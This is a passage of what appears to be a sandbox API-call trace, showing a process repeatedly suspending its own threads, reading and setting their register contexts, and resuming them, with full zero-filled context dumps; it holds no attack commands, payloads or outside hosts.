Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.927] ResumeThread (hThread=0x100) returned 0x1 [0128.927] CloseHandle (hObject=0x100) returned 1 [0128.928] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0129.060] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0129.162] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0129.163] SuspendThread (hThread=0x100) returned 0x0 [0129.163] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f418, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f742180, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0129.163] ResumeThread (hThread=0x100) returned 0x1 [0129.163] CloseHandle (hObject=0x100) returned 1 [0129.163] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0129.541] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0129.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0129.963] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0129.984] SuspendThread (hThread=0x100) returned 0x0 [0129.984] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28f9e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f730220, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0129.986] ResumeThread (hThread=0x100) returned 0x1 [0129.986] CloseHandle (hObject=0x100) returned 1 [0129.986] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.111] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.210] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0130.210] SuspendThread (hThread=0x144) returned 0x0 [0130.210] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f278, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f738300, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0130.277] SetThreadContext (hThread=0x144, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f270, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0130.277] ResumeThread (hThread=0x144) returned 0x1 [0130.277] CloseHandle (hObject=0x144) returned 1 [0130.277] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.384] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0130.507] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0130.507] SuspendThread (hThread=0x144) returned 0x0 [0130.507] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f408, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f723480, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, 